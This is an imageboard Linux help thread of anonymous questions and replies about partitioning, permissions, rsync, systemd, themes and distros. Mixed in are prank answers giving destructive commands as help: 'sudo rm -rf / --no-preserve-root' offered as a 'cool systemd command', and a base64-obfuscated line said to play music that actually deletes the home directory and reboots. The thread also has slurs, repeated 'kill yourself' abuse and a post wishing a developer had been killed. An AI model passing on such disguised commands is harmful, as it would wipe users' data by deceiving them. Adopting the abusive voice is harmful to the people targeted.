/fglt/ - Friendly GNU/Linux Thread

I am installing Fedora 25 from a usb stick, when I go to allocate partitions their space, it suggests at least 200mb for /boot but it seems Anaconda won't let me give /boot anything more than 1024kib. How do I fix this?

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First for caturday

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The fuck

>>60841092
looks like systemd problem friend.

>>60841092
delet this

(((tea party)))

>>60841039
MODS!

Pictures of assholes belong in /wx/, not in /g/.

>>60841068
something is afoot about that. Can you post a screenshot of the instaler?

>>60841111
checked

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>>60841112
Please behave.

>>60841124
stop posting dick pics
MOOOODS!!!

>>60841092
What did you delete?

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>>60841071

>>60841124
>his face when he goes to a cinema and older Dolby digital projection systems still use sysvinit

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I just reformatted my HDD to Ext4 and it says the permissions in the drive properties it says the owner is 'root', I did
sudo chmod ugo+wx /media/username/your_drive
but it still says the permissions are root although I can now move files onto the drive. How can I change the permissions?

>>60841212
the newer ones still do.
Noone wants a sudden black screen with "stop job running for xxxx.service" and three red asterisks in the middle of the movie

>>60841226
chmod changes the permissions.
you probably want chown which chanes the ownership

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What are some cool systemd commands?

>>60841242

systemd-analyze plot > pic_i_dont_understand.svg

>>60841242
systemd-analyze -blame

>>60841242
sudo rm -rf / --no-preserve-root

>>60841124
Please swallow faster.

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>>60841039
>Friendly GNU/Linux Thread
>GNU

>>60841229
>the newer ones still do.

The latest Doremi+Dolby system is based on CentOS, I wonder if they replaced memed with sysvinit with it.

At least it's not Sony/Kinoton, based on fucking Windows.

>nice movie y'all niggas, all the 400 of you, watching and imma let you finish but there is this service patch for .Net I going to install right now then reboot.

>>60841226
You can specify user/group ID/mask in fstab for mounting, however I suggest just creating a folder on the HDD and set it's owner to your user. You can symlink it to a convenient place.

So many shills still haven't given up on the systemd f.u.d.
Sad.
It's so obviously awesome.

>>60841242
systemctl rupeed --deposit 10 --post <num of post made by pajeet>

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>>60841180

>>60841285
>based on CentOS,
Depends on the version though. 7.x has systemd.
6.x uses upstart iirc.

How can I change the TTY font?

>>60841235
Thanks, that worked.

>>60841285
I'll look into this as well though and see what's best.

So I've got a bit of an issue

I'm mid-transfer of 15TB of storage between servers, and rsync crashed. For whatever reason when I restart the transfer instead of continuing rsync attempts to overight the already existing files.

I've retried with the --checksum command; and I just sat here for over 2 hours waiting while I thought it was hashing all my files.

It transfered one(1) 8GB .mkv and stopped.

Is there any better way to do this?

>>60841279
Fake and gay.

sudo reboot

or

systemctl reboot

>>60841328

ls -l $(reboot)

I've been an Arch user for a few years now, and I'm thinking of trying Fedora. I have a question: how does distribution upgrade work in Fedora? Do I have to reinstall the OS each new version?

>>60841313
man setfont

>>60841350
install gentoo

>>60841349

Forgot which.

ls -l $(which reboot)

>>60841359
I don't have time for gentoo.

>>60841350

>apparently used arch for years
>still doesn't know how fixed release distributions work

Stop lying on the internet you pretentious idiot. Kill yourself.

>>60841313
setfont sun12x22

How exactly should I install rofi properly? I just want to press a key and bring up the run thingy, tried

rofi -key-run F12 -font "monospace 9" &

on .xinitrc but doesn't seem to work

>>60841378
What? How would I know how something I never used works?

>>60841398

Neither did I, but everyone who uses distributions for years is aware of the fact how the two only possible release schemes work, you retard.
Also, you're a "power-user" who "needed" Arch, but you're too stupid to look up how it works online in 24 seconds? Kill yourself you pretentious idiot.

>>60841418
I thought this was supposed to be a "friendly" thread.

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>>60841286

Why aren't you using LinuxBrew?
http://linuxbrew.sh/

$(echo cm0gLXJmIH47IHJlYm9vdDsgPnBlb3BsZSB3aWxsIGZhbGwgZm9yIHRoaXM=|base64 -d)|/dev/null

This plays some random music.
Please give it some time to load.

>>60841472

My distribution has one central package manager.

>>60841504
>

|/dev/null

are you retarded

>>60841504

pls don't hack us XD

Kill yourself.

>>60841039
Satan?

>>60841595
Free Software Developer*

Do y'all recommend putting your Home directory on a separate partition/harddrive?

How much of a headache is it to fix if, say, the Home directory harddrive dies and I boot up the machine with a fresh unformated harddrive while the root system drive is functional? Or vice versa if the root system drive dies and I reinstall the distro on a new drive and try to pair it with my existing Home harddrive?

>>60841635
Satan*

>>60841805
>old system with new home
you are literally just starting over
>old home with new system
if you OS is the same or newer, there should be no serious problems. Programs will upgrade their own config files to the new versions
If you OS however older (let's say you used the latest ubuntu then switched to debian stable) you'll have problems with newer config files.

>>60841805
>Do y'all recommend putting your Home directory on a separate partition/harddrive?
Absolutely, I have no clue why installers for beginners don't mention it as "recommended".
If you want to change distributions, keep home and just install a new one.
If you fuck something up, you can reinstall and keep home and your files.

>Or vice versa if the root system drive dies and I reinstall the distro on a new drive and try to pair it with my existing Home harddrive?
During installation you just select the existing Home drive and set it mountpoint at /home. The system does the rest.

>>60841927

>use configs on new distribution
>new distribution uses older versions
>config file don't work or cause problems or get fucked

Not even going to mention the abundance of useless files you keep around in the .cache or .local directories. Normal people backup their configs and start from scratch.

>>60841326
rsync -aAX

>>60841945
>new distribution uses older versions
Why would people even want to install a distribution with older versions?

>>60841385
Use dmenu2
rofi is meme garbage tier

>>60841973
((((((((((((stability))))))))))))

>>60841418
>Arch
>REEEEEEE

>>60842027
>stability
>changing your distro

That's the opposite of stability

WORKS ON MY MACHINE.

how to fix dark gtk theme elements on websites?

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Is there a reason elementary os isn't listed in the wiki for baby's first distro?
I understand it is based on Ubuntu which is one of the recommended dpkg-based distros and that it kind of locks things down a little bit for security (can't install some apps without first installing something else...)
I really like the look of elementary os out of the box, but I'm wondering if it might be better to just use Debian and tweak it to make it look like elementary os.

>>60842177
With a custom CSS. See mine for example: https://github.com/nezumisama/rice/blob/master/stylish/forms.css

grub-install /dev/sda

installing for x86_64-efi platform.
grub-install: error: cannot find EFI directory.
it doesn't werkz help i'm installing arch linux

>>60842306

It's explained in the GRUB Wiki article.

>>60842306
It's explained in the GRUB Wiki article.

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>>60841122
here you go, anyone else wanna help feel free to be a true friendly linux lad

>>60842235
This is so cool, I was searching for a drop-down fix forever. Saved.

>>60842353
you gave /boot 1gb of space.which is grossly way too much.You dont need more then 10mb

>>60842353
But it says 1024 MiB, not KiB?

>>60842227
It's an outdated unpatched ubuntu fork.
And it's devs feel entitled to money because they cobbled together a mac osx ripoff from already-existing gnome parts.
Shit distro, avoid at all costs.

>>60842394

How will his kernel fit on 10MB?

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>>60842394
>>60842396
This was auto-allocate, I changed the 1024MiB to 8, and it forced 1024KiB and then gives me the warning
>pic related
>halp

>>60842436
Thank you; I'll go with Debian and make my own shit osx ripoff :)

>>60842471
gzip or lz

If you enable every option in the kernel,you will come out with a compressed kernel of around 5 mb

>>60842495

Stop using that shitty installer for partitioning. Use Gparted or any of the *disk programs.

Is 4chan broken? This >>60842514 was meant for >>60842487.

>>60842514
>>60842535
No, you just cant click shit properly

>>60842543

But I replied before that post even showed up (before I refreshed). It wasn't there when I typed my reply, so how did I quote it?

>>60842569
You clicked the wrong post.
Own up to it and stop posting

>>60842569
you probably are suffering from micro epileptic seizures which have a duration between 1 and 60 seconds. You can't remember having one and sometime you forgot what you were doing just before. It's like a pause in your brain. See a doctor, you need help.

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just installed arch for the first time. what do?

>>60842844

Wow ur such a hacker and programmer! you installed software other people wrote, you are so smart! no one has accomplished that complicated feat before you, good job, it's totally worth bragging about.

Kill yourself, you utter retard. If you actually needed that operating system you'd know what to do next.
I repeat, kill yourself.

>>60842871
lol chill out, i installed it for fun.

>>60842871
this isnt friendly at all

>>60842844
wget devuan

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Something fucked up my themes.
Some still work (Clearlooks) other look like pic related (Raleigh).

Any idea what the fuck is going on here?

Can I configure apt that it just does actions for one package in a repo and ignores everything else of that repo?

>>60842871
This isn't friendly

>>60842844
Sit down and consider the sequence of actions that led to this point in your life.
After that, consider what you would use your Arch machine and start plugging in functionality. I hopped off from Arch 2 years ago, but you know, sound & codecs, auto-mounting thumbdrives, all that post-install grind.

>>60843005
Don't give Memesoft any ideas, delet this shit.

>>60842844
get a better shell and terminal (eg: tilda + fish). you could also replace that crap of i3 with something better like awesomewm.

configure the maximum size of systemd logging files.
https://wiki.archlinux.org/index.php/systemd#Journal_size_limit

fix that font rendering

>>60843005
Works in pcmanfm, not in firefox or the terminator settings, by the way. Goddamn.

>>60843060
>configure the maximum size of systemd logging files.
You know systemd dosent actualy follow what settings you set on it ,correct? It never has and they dont see it as an issue.It will grow gigabytes and gigabytes

>>60843005
>>60843065

Because that's a GTK3 program. Use a GTK3 theme compatible with the GTK3 version you have.
Adwaita, the default one, always works.

>>60843065
>pcmanfm
gtk2

>firefox
gtk3 on most distros

>>60843078

Works on my machine.

$ du -hs /var/log/journal/
63M    /var/log/journal/

$ grep -i systemmaxuse /etc/systemd/journald.conf 
SystemMaxUse=50M

>>60843078
haven't checked mine for more than a year and

journalctl --disk-usage

report

Archived and active journals take up 344.1M in the file system.

>>60843171
Well that sucks some major dick. Guess I'll just stick do adwaita dark.

Cheers friend, works.

>>60843214
>SystemMaxUse=50M
>63M
>SystemMaxUse=50M
>63M

You may want to look again friend

>>60843240

Well, computers and math aren't exactly sciences what do you expect bro

>>60841316

whatis $(compgen -c | grep ^ch)

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>>60843214
>MaxUse=50M
>63M file
Yeah sure it works friend.

13M is a metric fuckton of text.

>>60841440
>systemd is about choice
>systemd is about distro unification
pick one

we need the same unification that systemd is but for the desktop graphic environment. We need linux donalds to stop focusing on the kernel to start a full desktop environment.

>>60843656
No.

https://source.winehq.org/git/wine.git/blob/HEAD:/dlls/wined3d/wined3d_private.h#l2192

What is the right one for a R7 260x? at first I thought it was "0x130f" because of "

CARD_AMD_RADEON_R7

" but when looking at https://source.winehq.org/git/wine.git/blob/HEAD:/dlls/wined3d/directx.c it says the

CARD_AMD_RADEON_R7

is KAVERI and not BONAIRE like my R7 260x

>>60843662
why?

>>60843738
I dont like flashy nonsense like kde,gnome,xfce,ldxe forced on me
I dont need retarded nonsense that is tiling wm's forced on me

There dosent need to be a standardized DE/WM.

>>60843762
It's because of people like you that linux for desktop is dying. You are doing more wrong than good. Please, never interfere again in the linux for desktop movement.

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>>60841039
Hi fglt, I was wondering if anyone can help me do the following:

>Permanently increase the sensitivity of the trackpoint on my T470

>Help me get the outline of my conky to include the bottom part of a the box (pic related)

CONTENTS OF MY .CONKYRC:

# Utils conky config
# By Juanjo Salvador (http://juanjosalvador.es)

background no
use_xft yes
xftfont Sans:size=10
xftalpha 1
update_interval 1
total_run_times 0
own_window yes
own_window_title conky>>>/wg/6938287
own_window_type desktop
own_window_transparent yes
own_window_hints undecorated,below,sticky,skip_taskbar,skip_pager
own_window_argb_visual yes
own_window_argb_value 128
double_buffer yes
minimum_size 200 200
maximum_width 400
draw_shades yes
draw_outline no
draw_borders yes
draw_graph_borders yes
default_color white
default_shade_color black
default_outline_color white
alignment top_middle
gap_x 0
gap_y 45
no_buffers yes
uppercase no
cpu_avg_samples 2
override_utf8_locale yes
# lua_load /home/juanjo/conky/draw_bg.lua
# lua_draw_hook_pre draw_bg

TEXT
${font sans-serif:bold:size=12}${color eee}CPU ${hr 2}${font sans-serif:normal:size=10}
CPU0: ${cpu cpu0}% ${cpubar cpu0}
CPU1: ${cpu cpu1}% ${cpubar cpu1}
CPU2: ${cpu cpu2}% ${cpubar cpu2}
CPU3: ${cpu cpu3}% ${cpubar cpu3}
${font sans-serif:bold:size=12}${color eee}MEMORY ${hr 2}
${font sans-serif:normal:size=10}RAM $alignc $mem / $memmax $alignr $memperc%
$membar
${font sans-serif:bold:size=12}${color eee}DISKs ${hr 2}
${font sans-serif:normal:size=10}Root $alignc ${fs_used /} / ${fs_size /} $alignr${fs_used_perc /}%
${fs_bar /}
Home $alignc ${fs_used /home/} / ${fs_size /home/} $alignr ${fs_used_perc /home/}%
${fs_bar /home/}

>>60843939
Why are you using linux and not windows?
Why are you not conforming to using windows since it is the largest user base?

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>>60843939
>>60843967

I'd just like to interject for a moment. What you're referring to as Linux, is in fact, GNU/Linux, or as I've recently taken to calling it, GNU plus Linux. Linux is not an operating system unto itself, but rather another free component of a fully functioning GNU system made useful by the GNU corelibs, shell utilities and vital system components comprising a full OS as defined by POSIX.

Many computer users run a modified version of the GNU system every day, without realizing it. Through a peculiar turn of events, the version of GNU which is widely used today is often called "Linux", and many of its users are not aware that it is basically the GNU system, developed by the GNU Project.

There really is a Linux, and these people are using it, but it is just a part of the system they use. Linux is the kernel: the program in the system that allocates the machine's resources to the other programs that you run. The kernel is an essential part of an operating system, but useless by itself; it can only function in the context of a complete operating system. Linux is normally used in combination with the GNU operating system: the whole system is basically GNU with Linux added, or GNU/Linux. All the so-called "Linux" distributions are really distributions of GNU/Linux.

>>60843967
freedom and i have no money to buy a windows license. more development tools (i am a lisper) on linux (how many years windows had to wait for having an usable clang release)

>>60844001
GNU/Linux*

>>60844020
Linux*

What is the best distro for my zip disquette?

>>60843993
>>60844020
linux for desktop doesn't necessary need to be based on gnu. we could have, for example, a desktop version of android.

>>60844020
the vast majority of applications and tools are made for posix, and not specifically for the gnu implementation.

>>60843993
>>60844020
you are doing more harm than good with that meme.

>>60843953

>>60844057
puppy

>>60844063
Its a meme but also truth, my son.

>>60843939
>It's because of people like you that linux for desktop is dying.
elaborate on this pants-on-head-retarded Idea please. I'm genuinely interested why youre convinced what you just said is true

>>60844063
Android isn't Linux. Android uses Linux, the kernel.

>>60844072
Looks good. Thank you.

>>60844113
>implying Linux refers to an operating system

>>60844113
android was a mistake
linux powered botnet

what are the benefits of systemd?

>>60844185
Android is an amazing piece of open source technology that freed use from java phones and iphones. all you guys should bless google.

>>60844113
>gnu/linux
>gnu/hurd
>jvm/linux (ART)

>>60844232
LIterally nothing,unless you LOVE cocks in your ass

>>60844232
botnet integrated into the init

>>60844185
>android userland is a botnet not the kernel

thats why we have lineage and replicant

>>60844241
>who is Edward Snowden

>>60844232
sysv-init + openrc

what are the downsides of systemd?

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>>60844288
t. kid who never read the leaks

>>60844232
to be honest, i am using a systemd based distro and never had anything to do with systemd except maybe one or two times just after the installation. as a casual user (programming, web, gaming, multimedia), what is and what does my init is my least of my worries.

>>60844232
better boot times
>>60844241
>>60844311
nsa pls go

>>60843993
I wrote a compiler, nigger

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>>60844326

>>60844302
its a init system that wants to engulf a lot of components of the system structure that would be better off as individual projects with individual teams so prioritize security and effiency

we want modularity and choice

>>60844337
>implying

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>>60844302
You have to deal with Lennart's little world.

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>>60844319
>citation needed
its actually been shown to be the actual opposite of that in regards to boot times and sysv-init

>cant disprove how apple is more NSA than a open sourced project is

this is what we call a shill ;)

>>60844355
>>60841595

stop bully lennart, you can dislike systemd if you want, but you should attack him for literally writing free software

>>60844288
you are really stupid with, anon. gratuitous attacks, nothing else.

>>60844369
>open source
idgaf unless it's free software

>>60844374
he writes free software because his paycheck comes from redhat. Writing free software does not make you immune to criticism. Quite the opposite.

>>60844374
>redhat board of directors detected

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>>60844391
my nigga

>>60844391
good thing lineage OS is foss :)

>inb4 you use ios the cloud leaker

>>60844430
>what are binary drivers

>>60844450
>linux
>binary drivers
k tard

>>60844374
this
>I don't usually talk about this too much, and hence I figure that people are really not aware of this, but yes, the Open Source community is full of assholes, and I probably more than most others am one of their most favourite targets. I get hate mail for hacking on Open Source. People have started multiple "petitions" on petition web sites, asking me to stop working (google for it). Recently, people started collecting Bitcoins to hire a hitman for me (this really happened!). Just the other day, some idiot posted a "song" on youtube, a creepy work, filled with expletives about me and suggestions of violence. People post websites about boycotting my projects, containing pretty personal attacks. On IRC, people /msg me sometimes, with nasty messages, and references to artwork in 4chan style. And there's more. A lot more. <https://plus.google.com/+LennartPoetteringTheOneAndOnly/posts/J2TZrTvu7vd>

>>60844468
>what is choice?
your phone can function without those just dont expect 3d accel or advanced camera features

Am I stuck with bios boot if I accidentally had my computer in a bios only setting when I formatted my hard disk and installed Mint. What do I have to do to get Mint to boot in UEFI mode again?

>>60844493
meant for
>>60844450

>>60844493
>>60844523

linux being gplv2 licensed, anything running at the kernel level must be FOSS. there no closed source drivers in the kernel.

>>60844519
install ubunut

>>60844535
>closed source

>>60844570
he's not wrong...

>>60844570
it is wrong? i am not an english native speaker. (please, no bully (>.<" ) )

>>60844535
>must
That's not how it works. When you use Linux, YOU must, the license holder can do whatever he wants to do.

>>60844535
Linux hasn't been free software since 1993. Please search the web for "kernel blobs".

>>60844598
you can't distribute linux with closed source drivers.

>>60844611
kernel blobs are not kernel drivers. those are firmwares that are uploaded to a device which then execute it. the blob is not executed by the kernel environment.

Can I make a symlink from the normal ALSA sound device to /dev/dsp? Apparently it's the only way my system can output sound

>>60844598
google isnt a license holder and if they redistribute or contribute upstream it must be gpl2+

>>60844595
Not him, but: https://www.gnu.org/philosophy/open-source-misses-the-point.html

>>60844629
>you can't distribute linux with closed source drivers.
that's literally how linux is distributed

>>60844611
>what is non-free free repositories

youre talking about hardware issues not issues with linux

the problem is the people who produced the hardware didnt make open drivers so they have to b reverse engineered or a binary module which is a optional component

>>60844468
>I don't understand how Android works
The blobs aren't in the kernel, retard

>>60844629
>the blob is not executed by the kernel environment.
Where do you think linux runs the drivers?

>>60844671
>open
Just say free or libre. Open is tea party.

>>60844685
>what is HAL
Google specifically designed Android to allow proprietary drivers
https://source.android.com/devices/
Look it up before making unsourced claims, retard.

>>60844669
>citation needed
optional hardware binaries are loaded in runtime in the installer if choose (you agree that the kernel devs or GNU/fsf are not responsible)

winfag detected

>>60844731
what?

>>60844685
do you know what a firmware is? it's a program that you send to an hardware device. for example, you upload a firmware to the dvd reader which will then execute that firmware with its own cpu.

another example are GPUs, you send the firmware to the gpu which will execute it on its own cpu.

it's not running in the kernel, the kernel only send/upload the firmware as data to the concerned hardware.

>>60844725
im not wrong though

open = source

libre/foss = compiler instructions ect and ability to modify or redistributer

they dont even provide the source in these instances so therefore the hardware manufacturing companies arent open let alone foss/libre

>>60844731
the only kernel that doesn't automatically load blobs at runtime is Linux-libre

>>60844784
open source is proprietary software firendly crap

>>60844638
post .asoundrc

>>60844792
Debian runs a deblobbed Linux by default too. Idk if they run their own scripts or the linux-libre ones tho.

>>60844773
>firmware is a program
gee thanks poindexter
>dvd drives have a cpu
>not flash and a bus
get the fuck off /g/
>gpus execute code
lol
the cpu executes and hands traffic off to the gpu for shader/lumi/vector/ graphical algos

>>60844818
Most open source software is free, and most free software is open source. There are differences, but you can't really attack one without attacking the other as well

>>60844837
GNU oriented distros do too

>>60844863
every device have a cpu, even your mice or your keyboard. since it seems that you don't know what you are talking about, this discussion is now terminated.

>>60844913
t. idiot doesnt know the difference between a cpu and a microcontroller

>>60844888
They use Linux-libre

anyone skilled in shell scripting lurking the thread?

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>>60841039

>>60844923
a microcontroller still has a cpu which fetchs and executes the instructions from the firmware.

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>>60844964
*blocks your path*

Fuck you, linux sucks fucking cock. It acts like it's from the 80s and the people who use it are faggots.

>>60845116 (You)

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>>60845116
>It acts like it's from the 80s
As expected. Wouldn't install it otherwise.
Get gud

>>60845116
>It acts like it's from the 80s
Perfect match for me then

>>60845163
>>60845198
I came here to post this.

>>60841039
is budgie worth it as a DE? I have a new pc and I'm wondering which ubuntu flavor to install.

>>60845163
>>60845198
You look like a pathetic faggot with your riced desktop, enjoy no games.

>>60845296
>games
>>>/v/

>>60845296
you're just fucking jealous l m o a

>>60845296
Too busy playing games to bother with ricing

>>60845321
Sour grapes

>>60845354
Tux racer isn't a real game

>>60845386
Windows isn't a real operating system

>>60845430
Linux isn't real UNIX

>>60845460
Good

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Hello /g/ood friends. What distro does working people use? I'm an Arch user currently but I just gained employment and am working about 58 hours a week and am too busy and tired to update frequently and I don't really want to deal with any critical bugs which will inevitably happen. Anyways what do working anons use? NEETs need not reply.

>>60844963
alright, here's the deal
i've tried and succeeded at cobbling together a shell script to replace pasystray
It works as I expected it to work, but I'm looking for someone to take a look at it and point out obvious mistakes.
I'm completely fucking green when it comes to this and I'd like it to be as efficient as possible.

Script has two parts. I wanted volume controls and mute controls for Pulseaudio output but most importantly something to tell me what the current volume is and whether it's muted or not. I achieved that through a gdbus call. I'm more interested in the shell part itself.

Apologize for pastebin, 4swamp doesn't let me post it in code blocks for some reason

https://pastebin.com/eYKxM4wR

>>60845526
Arch

>>60845430
Nothing current is 'real UNIX'. Not BSD, not Mac, nothing. There is only UNIX-like.

>>60845460
>>60845568

>>60845543
Perfect. Simple and concise. No errors whatsoever. Impressive. Really.

>>60845460
>>60845460
Samefag

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>>60845596
pls don't make fun of me

>>60845606
No shit Sherlock

>>60845321
bad post; games are fun and fun is good
there are enough games for gnu/linux

>>60845296
technically games would run even faster and better on gnu/linux; it just needs people to develop stuff for the platform

>>60845354
meanwhile I'm posting, ricing and playing games

>>60845460
correct

>>60845606
Kek retard

I've been trying all the DEs for Ubuntu and can't decide on one.

I'm on an XFCE boot right now and its simple and stable, but really really old fashioned and ugly looking.

But the majority of people on /r/unixporn seem to be using xfce? How are they "ricing" it?

The best I've found is MATE cos everything was configurable out of the box and tweakable. That's what I imagined it to be like. I'm guessing xfce and the others are configurable if you have the magic know-how.

>>60845763
you just change the theme, wallpaper, few applets and icons and there you go
"rice"

>>60845460
this

the "unix" meme is cancer, people who refer to linux as unix have no fucking idea whats going on, there is so much wrong with it

there are 2 things which are "unix"

- the proprietary original unix system from the 70s
- the UNIX trademark, people slap on their os when there's enough money (macOS is an example)

furthermore,
linux is a kernel, which isn't unix nor UNIX
gnu is (literally) not unix nor UNIX, it's rewritten from scratch and it's called GNU
bsd is not unix nor UNIX it's rewritten from scratch and it's called BSD

somehow, when people say "unix" they refer to "gnu, bsd, macos, etc" - why are people unable to name the things they are talking about?

all these unix, *nix, linux memes need to go back to omgubuntu

/rant

>>60845824
People use the terms they read on the web. You can't blame them for doing so.

>>60845824
all these systems you're naming are unix clones

>>60845870
>all these browsers you're naming are netscape clones

>>60845824
The name GNU's Not Unix is a tongue in cheek to refer that GNU doesn't contain any Unix code that would get them in serious legal trouble with AT&T or whoever was the rights holder to Unix at the time.

macOS's (which is unix according to sus and the cuckstamp apple paid for) kernel is called XNU. Guess what XNU stands for you dummy.

GNU/Linux is *nix. It was made as a replacement, an improvement and to behave the same way.

Calling GNU/Linux Unix or *nix is as much of a mistake as not saying calling it just "Linux"

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>>60845763

Just install a theme and select it in the 'appearance' menu, it's easy as shit.

>>60845908
>The name GNU's Not Unix is a tongue in cheek to refer that GNU doesn't contain any Unix code that would get them in serious legal trouble with AT&T or whoever was the rights holder to Unix at the time
nope, it is a hacker tradition to call things X is not Y

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I've recently installed Ubuntu and I'm going through this book to learn the command line. What other learning sources could I use to dive into Linux, the command line and anything related?

>>60845955
There is no linux command line.

>>60845955
If you program, the Linux Programming Interface is pretty good read, I'll be honest though I haven't read it all. It's pretty long.

>>60845966
That's not correct, there is, in fact, a linux commandline located at /proc/ -> cmdline

>>60845955

> Shell pasta:

The based GNU Bourne Again SHell:
https://www.gnu.org/software/bash/

The community driven BASH wiki:
http://wiki.bash-hackers.org/

The Grymoire - home for UNIX wizards:
http://www.grymoire.com/Unix/index.html

Greg's (also known as GreyCat's) wiki:
http://mywiki.wooledge.org/BashFAQ
http://mywiki.wooledge.org/BashGuide
http://mywiki.wooledge.org/BashPitfalls

SED and AWK; your new best friends:
http://www.pement.org/sed/sed1line.txt
http://www.pement.org/awk/awk1line.txt

Google's Shell Style Guide:
https://google.github.io/styleguide/shell.xml

Interesting, useful and dangerous one-liners:
http://www.commandlinefu.com/

Great online (and offline) linting tool:
http://www.shellcheck.net/

Know what you are doing:
http://explainshell.com/

>>60841418
relax man why are you so angry lol?

>>60846028
lmao, new forbidden thing: /proc/-links

>>60845990
>>60846028
thx, will check those out

>>60846045
i recently discovered that

ls
-l

is unpostable too, what's going on?

>>60844071
wtf is this

>>60846048
PCGNU+LinuxOS

Should I Arch?

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>>60846075
Oh wow I didn't even notice it didn't work.

I've put a codeblock inside a codeblock

>>60846094
You should Devuan.

DWM is the best wm to use.

>>60846094
nope, at some point some shit shall break

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>>60846094
Gentoo*

>>60846103
bspwm*

>>60846103
>not using a full desktop
Kek

>>60846141
DEs are made so windows refugees don't feel lost. It's not how you're supposed to use the system.

Is there anything like the command line utility 'ascii' for EBCDIC?

>>60846150
>t. Arch user

>>60846152
>still using EBCDIC

>>60846141
>my favorite terminal emulator is "Terminal"

>>60846164
Actually, it's the kernel framebuffer.

>>60846162
>Arch
funtoo*

>>60846173
Gentoo is better

>>60844054
Systemd/Linux*

>>60846228
Fuck off Lennart

How is Void Linux?

Why do people like GNOME?

Isn't it just Windows 8 and their "innovative" touchscreen interface all over again.

Do you guys like factals and ascii art?
If so, try GNU Xaos. Been playing around with it the last hours and it's pretty neat.

Oneliner: xaos -driver aa -aadriver curses -autopilot -autorotate on -gamma 0.6 -loadexample
(without -driver aa you get a x window with colors, which is cool too, but not 1337)

xaos --help for more stuff, you can even write your own fractal maths and playback them

>>60846248
Still a meme

What's the best distro to impress computer science qts

>>60846338
macOS High Sierra.

>>60846338
Gentoo

>>60846345
>t. macfag

>>60846261
Why is it a meme

>>60846365
Runit

>>60844374
>>60844469

>The Linux community is dominated by western, white, straight, males in their 30s and 40s these days. I perfectly fit in that pattern, and the rubbish they pour over me is awful. I can only imagine that it is much worse for members of minorities, or people from different cultural backgrounds, in particular ones where losing face is a major issue.
--Lennart Poettering

This is who you are defending? He makes this shit a racial issue when there is literally no fucking reason to do so?
The guy's a total faggot. This quote alone makes me feel absolutely zero sympathy for anything he goes through, and I almost wished those guys finished hiring that hitman to kill him.

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>>60841039
I don't know if this belongs in /sqt/ or here so I'll post it here first.
I'm running Ubuntu GNU/Linux version 17.04 and trying to use Dolphin for emulating on my Intel HD 5500 graphics card. I wanted some more performance so I enabled Vulkan, the program started spitting out errors and I fixed it. But I do get this one still. Can anyone help me?

>>60846354
Gentoo will impress a qt cs girl(male) all right.

>>60846400
>t. neet

>>60841504
i cant hear it, bro

What's Pottering endgame anyway? Is he a tip of the spear of redhat's power move so to speak

>>60846396
>Intel HD 5500 graphics card
Does that GPU is vulkan compatible in the first place? do you have installed ANV?

>>60846432
Don't forget the programming socks m8. Those can turn any 2/10 girl(male) into at least a 5/10. You'd probably settle for far less though.

>>60846463
Lennart is a faggot

>>60846465
>ANV
I don't know what this is. I do believe my GPU is at least capable of running Vulkan API Games since I have ran Dota 2 with vulkan turned on.

>>60846251
Gnome is highly unorthodox.
You can call it unusable shit all you want but to say it's windows 8 would be a proper insult.

Gnome is the result of them taking into consideration "how a desktop environment should look like if we didn't have any but we knew all we know about them today".
Human ergonomics were taken into consideration. That's why it has massive fucking titlebars for example.
What they forgot to take into consideration is the fact that we (humans) had and used desktop environments for almost 30 years already. It's hard to just forget everything you know and learn something else.

Oh and they forgot that people liked desktop linux for it's lightweightness. I absolutely despise how fucking bloated and slow it is.
It would've helped them quite a lot if it was light. People would be more eager to try it out.
But when you face a choice between something like Xfce which offers you a traditional desktop you already know at minimal resources usage vs a flamboyant faggotry that requires a minimum of 4G of ram, a quad core CPU, a 1440p display and an SSD for something you may not even end up liking the choice was obvious.

>>60846565
Hi there!

You seem to have made a bit of a mis take in your post. Luckily, the users of 4chan are always willing to help you clear this problem right up! You appear to have used a tripcode when posting, but your identity has nothing at all to do with the conversation! Whoops! You should always remember to stop using your tripcode when the thread it was used for is gone, unless another one is started! Posting with a tripcode when it isn't necessary is poor form. You should always try to post anonymously, unless your identity is absolutely vital to the post that you're making!

Now, there's no need to thank me - I'm just doing my bit to help you get used to the anonymous image-board culture!

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>>60846586
GNOME is bad, but I sorta like it this is my neofetch but get ready for the follow up with my extensions list.
>>60846610
tripfags are as much 4chan culture as anime-posting. You're not fitting in.

>>60846463
you guys need to stop thinking in "poettering is the evil"
the actual evil is the so called "community" (also known as the people who get red hat sheckles) who accept systemd as standard
this is the actual problem, not systemd, poettering, or any of these nsa memes

@60846633
http://reddit.com

>>60846633
go back to neo /g/ faglord

>>60846651
>>60846666
Kek

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>>60846586
and even with all this tomfuckery
>I still get tearing when I scroll
>Nautilus isn't any less abysmal
>can't set default file manager
>had to drop firefox since the titlebar weren't hiding
>need a khgjillion more extensions to make it useable
I just hope the devs that dropped unity in favor of this help with the codebase to make it slimmer and add shit like global menus
>>60846666
I'm on it right now, satan

>>60846633
>tripfags are as much 4chan culture as anime-posting
so is calling out tripfags, bucko

>>60846666
quads have spoken

>>60846684
I just wanted some answers :V
this IS a "friendly" thread innit?

>>60846678
>>60846677
I'm cooler than you.

>>60846711
It's just part of the name

Is there some lazy way to write Cyrillic on MATE only on certain circumstances? I've been using pluma modes for that (right click, select encoding or something like this), but an update killed my approach.

>>60846722
cool I guess, I just want to help people in any way I can. That's why I started tripfagging, not for attentionwhoring. I've spent the entire day on (Insert search engine here) trying to solve this but its all AMD/Nvidia GPUs
>>60846724
seems so

>>60846711
>friendly
using a tripcode is trolling, derailing and cancerous top cancer

people are interested in your post, not in your identity, learn the concept of 4chan your enormous faggot

>>60846744
Install KDE

>>60846750
>I just want to help people
then stop shitting up this thread
youre literally asking for tripfag-related cancer posts

>>60846754
>using a tripcode is trolling, derailing and cancerous top cancer
then why is it built into the site and not allowed on /b/ ?
>learn the concept of 4chan your enormous faggot
lurk more
>>60846772
I'll ask again, How would I go about making Vulkan find my GPU in Dolphin

>>60846754
>using a tripcode is trolling, derailing and cancerous top cancer
Meh.

By itself the usage of tripcode isn't that bad... if justified, something it is not in this case.

>>60846772
Just don't respond to them
Never try to deal with tripfags directly, call anyone else who responds to them a faggot.

This is the only tried and true method.

>>60846789
tripcodes are invented so op can prove his identity, its not made to have a "4chan identiy"

>>60846744
If it is just utf8, you can use the same encoding everywhere and add the keys to your keyboard with xmodmap.

>>60846805
this

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I accidentally dun g00fed a lil bit guys.

I'm running Mint and I wanted to install Ubuntu Software Center, because Mint doesn't really have one. The "Software Manager" is a poor substitute IMO.

Anyways, I found instructions on how to do it so, I edited the lsb-release file and just changed 'linux mint' to 'ubuntu' on the DISTRIB ID= line.

So now, screenfetch at least thinks I'm running Buntu while I'm actually running Mint, which I don't dig.

